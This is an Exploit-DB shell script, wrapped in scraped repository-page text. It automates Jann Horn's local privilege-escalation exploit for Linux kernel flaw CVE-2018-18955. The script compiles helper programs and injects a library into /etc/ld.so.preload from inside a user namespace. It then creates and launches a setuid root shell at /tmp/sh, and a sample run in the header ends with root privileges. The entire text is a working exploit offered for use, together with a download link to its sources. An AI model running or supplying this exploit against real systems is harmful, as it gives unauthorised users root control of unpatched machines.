95 lines
No EOL
2.1 KiB
Bash
Executable file
95 lines
No EOL
2.1 KiB
Bash
Executable file
#!/bin/sh
|
|
#
|
|
# EDB Note: Download ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47166.zip
|
|
#
|
|
# wrapper for Jann Horn's exploit for CVE-2018-18955
|
|
# uses ld.so.preload technique
|
|
# ---
|
|
# test@linux-mint-19-2:~/kernel-exploits/CVE-2018-18955$ ./exploit.ldpreload.sh
|
|
# [*] Compiling...
|
|
# [*] Adding libsubuid.so to /etc/ld.so.preload...
|
|
# [.] starting
|
|
# [.] setting up namespace
|
|
# [~] done, namespace sandbox set up
|
|
# [.] mapping subordinate ids
|
|
# [.] subuid: 165536
|
|
# [.] subgid: 165536
|
|
# [~] done, mapped subordinate ids
|
|
# [.] executing subshell
|
|
# [+] Success:
|
|
# -rwsrwxr-x 1 root root 8384 Nov 21 19:07 /tmp/sh
|
|
# [*] Launching root shell: /tmp/sh
|
|
# root@linux-mint-19-2:~/kernel-exploits/CVE-2018-18955# id
|
|
# uid=0(root) gid=0(root) groups=0(root),1001(test)
|
|
|
|
rootshell="/tmp/sh"
|
|
lib="libsubuid.so"
|
|
|
|
command_exists() {
|
|
command -v "${1}" >/dev/null 2>/dev/null
|
|
}
|
|
|
|
if ! command_exists gcc; then
|
|
echo '[-] gcc is not installed'
|
|
exit 1
|
|
fi
|
|
|
|
if ! command_exists /usr/bin/newuidmap; then
|
|
echo '[-] newuidmap is not installed'
|
|
exit 1
|
|
fi
|
|
|
|
if ! command_exists /usr/bin/newgidmap; then
|
|
echo '[-] newgidmap is not installed'
|
|
exit 1
|
|
fi
|
|
|
|
if ! test -w .; then
|
|
echo '[-] working directory is not writable'
|
|
exit 1
|
|
fi
|
|
|
|
echo "[*] Compiling..."
|
|
|
|
if ! gcc subuid_shell.c -o subuid_shell; then
|
|
echo 'Compiling subuid_shell.c failed'
|
|
exit 1
|
|
fi
|
|
|
|
if ! gcc subshell.c -o subshell; then
|
|
echo 'Compiling gcc_subshell.c failed'
|
|
exit 1
|
|
fi
|
|
|
|
if ! gcc rootshell.c -o "${rootshell}"; then
|
|
echo 'Compiling rootshell.c failed'
|
|
exit 1
|
|
fi
|
|
|
|
if ! gcc libsubuid.c -fPIC -shared -o "${lib}"; then
|
|
echo 'Compiling libsubuid.c failed'
|
|
exit 1
|
|
fi
|
|
|
|
echo "[*] Adding ${lib} to /etc/ld.so.preload..."
|
|
|
|
echo "cp ${lib} /lib/; echo /lib/${lib} > /etc/ld.so.preload" | ./subuid_shell ./subshell
|
|
|
|
/usr/bin/newuidmap
|
|
|
|
if ! test -u "${rootshell}"; then
|
|
echo '[-] Failed'
|
|
/bin/rm "${rootshell}"
|
|
exit 1
|
|
fi
|
|
|
|
echo '[+] Success:'
|
|
/bin/ls -la "${rootshell}"
|
|
|
|
echo '[*] Cleaning up...'
|
|
/bin/rm subuid_shell
|
|
/bin/rm subshell
|
|
echo "/bin/rm /lib/${lib}" | $rootshell
|
|
|
|
echo "[*] Launching root shell: ${rootshell}"
|
|
$rootshell |